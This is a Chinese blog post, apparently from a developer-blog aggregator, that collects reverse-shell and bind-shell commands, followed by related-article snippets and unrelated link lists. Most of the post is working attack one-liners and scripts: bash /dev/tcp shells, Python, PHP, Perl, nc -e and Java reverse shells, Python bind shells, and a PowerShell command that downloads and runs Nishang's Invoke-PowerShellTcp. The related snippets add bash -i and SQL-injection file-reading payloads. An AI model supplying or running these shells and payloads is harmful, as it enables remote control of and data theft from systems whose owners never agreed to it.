linux自带的bash反弹shell

在攻击机行执行

nc -lvvp 12345 来监听端口

在目标机上执行bash -i >& /dev/tcp/攻击机IP/12345 0>&1

复杂一点的还可以用exec 5<>/dev/tcp/攻击机地址/12345;cat <&5|while read line;do $line >&5 2>&1;done

Python反弹shell

攻击机继续监听,目标机上执行

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机地址",12345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

这个暂时只是支持Linux

利用nc来反弹shell

当nc有-e选项参数的时候

使用nc ip地址 4444 -t -e /bin/bash

下面提一下正向的shell

郁离歌师傅写的正向连接的shell(windows的),

import subprocess
import os, threading def send(talk, proc):
import time
while True:
msg = proc.stdout.readline()
talk.send(msg) if __name__ == "__main__":
server=socket(AF_INET,SOCK_STREAM)
server.bind(('0.0.0.0',11))
server.listen(5)
print 'waiting for connect'
talk, addr = server.accept()
print 'connect from',addr
proc = subprocess.Popen('cmd.exe /K', stdin=subprocess.PIPE,
stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
t = threading.Thread(target = send, args = (talk, proc))
t.setDaemon(True)
t.start()
while True:
cmd=talk.recv(1024)
proc.stdin.write(cmd)
proc.stdin.flush()
server.close()

Linux版的

import subprocess
import os, threading, sys, time if __name__ == "__main__":
server=socket(AF_INET,SOCK_STREAM)
server.bind(('0.0.0.0',11))
server.listen(5)
print 'waiting for connect'
talk, addr = server.accept()
print 'connect from',addr
proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
stdout=talk, stderr=talk, shell=True)

php反弹shell

php -r '$sock=fsockopen("IP地址",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

perl反弹shell

perl -e 'use Socket;$i="ip地址";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

java脚本反弹

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/172.16.1.130/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()

Power反弹shell(360会拦截)

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 172.16.1.130 -port 4444

这里是看了不少博客总结下来的,利用的方式肯定不止这几种,以后再补充吧

各种反弹shell的总结的更多相关文章

  1. Linux下反弹shell的种种方式

    [前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考] 0x01 Bash bash -i >& /dev/tcp/ >& 这里s ...

  2. 内网渗透中的反弹Shell与端口转发

    from:https://www.91ri.org/9367.html Web渗透中的反弹Shell与端口转发 php需未禁用exec函数一:生成php反弹脚本msf > msfpayload ...

  3. NC / Netcat - 反弹Shell

    原理 实验环境: 攻击机:windows机器,IP:192.168.12.109 受害机:linux机器,IP:192.168.79.1 攻击机:设置本地监听端口2222 C:\netcat>n ...

  4. 小白日记40:kali渗透测试之Web渗透-SQL手工注入(二)-读取文件、写入文件、反弹shell

    SQL手工注入 1.读取文件[load_file函数] ' union  SELECT null,load_file('/etc/passwd')--+ burpsuite 2.写入文件 ' unio ...

  5. linux反弹shell

    参考链接 http://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html http://www.waitalone.cn/linux-s ...

  6. python shell与反弹shell

    python shell与反弹shell 正常shell需要先在攻击端开机情况下开启程序,然后攻击端运行程序,才能连接 反弹shell,攻击端是服务端,被攻击端是客户端正常shell,攻击端是客户端, ...

  7. linux下反弹shell

    01 前言 CTF中一些命令执行的题目需要反弹shell,于是solo一波. 02 环境 win10      192.168.43.151       监听端    装有nc kali        ...

  8. golang写的反弹shell(自作孽不可活,切记,切记!)

    仅作安全研究 package main import ( "os/exec" "go-pop3" "log" "strings&q ...

  9. 使用DnsCat反弹shell

    DnsCat技术特点 Dns隧道反弹shell DnsCat服务器的安装 #git clone https://github.com/iagox86/dnscat2.git #cd dnscat2 # ...

  10. Linux渗透之反弹Shell

    前言 当我们在渗透Linux主机时,反弹一个交互的shell是非常有必要的.在搜索引擎上搜索关键字“Linux 反弹shell”,会出现一大堆相关文章,但是其内容不但雷同,而且都仅仅是告诉我们执行这个 ...

随机推荐

  1. mybatis xml中大于号小于号的代替

    第一种写法(1): 原符号 < <= > >= & ' "替换符号 < <= > >= & &apos; " ...

  2. elementUI表单嵌套时间报错

    elementUI表单嵌套日期时间选择时间后报错 <el-form-item label="起始结束时间:" required prop="startime&quo ...

  3. applicationContext-redis.xml配置文件

    <?xml version="1.0" encoding="UTF-8"?><beans xmlns="http://www.spr ...

  4. Html加水印和禁用复制和右键(jquery.watermark.js)

    近期遇到一个需求,需要在页面背景加上自己的水印和禁止用户在页面复制粘贴 解决: 水印使用的是jquery.watermark.js插件,这个插件可以在html背景上加水印,同时可以设置相关属性值. 相 ...

  5. Java-Class-C:com.github.pagehelper.PageHelper

    ylbtech-Java-Class-C:com.github.pagehelper.PageHelper 1.返回顶部   2.返回顶部 1.1. import com.github.pagehel ...

  6. *&m与m的区别

    int *a;int * &p=a; 把 int * 看成一个类型,a就是一个整型指针,p 是a的别名 #include<iostream> using namespace std ...

  7. C#中的this关键字

    C# this关键字的四种用法 - 天碼行空 - 博客园 https://www.cnblogs.com/jh007/p/6120654.html C#中this关键字详解 - lin37985的专栏 ...

  8. PAT_A1139#First Contact

    Source: PAT A1139 First Contact (30 分) Description: Unlike in nowadays, the way that boys and girls ...

  9. MySQL数据库(一)—— 数据库介绍、MySQL安装、基础SQL语句

    数据库介绍.MySQL安装.基础SQL语句 一.数据库介绍 1.什么是数据库 数据库即存储数据的仓库 2.为什么要用数据库 (1)用文件存储是和硬盘打交道,是IO操作,所以有效率问题 (2)管理不方便 ...

  10. java-day18

    函数式接口在java中指:有且仅有一个抽象方法的接口 @FunctionalInterface注解:可以检测接口是否是一个函数式接口 函数式接口的使用:一般可以作为方法的参数和返回值类型 自定义函数式 ...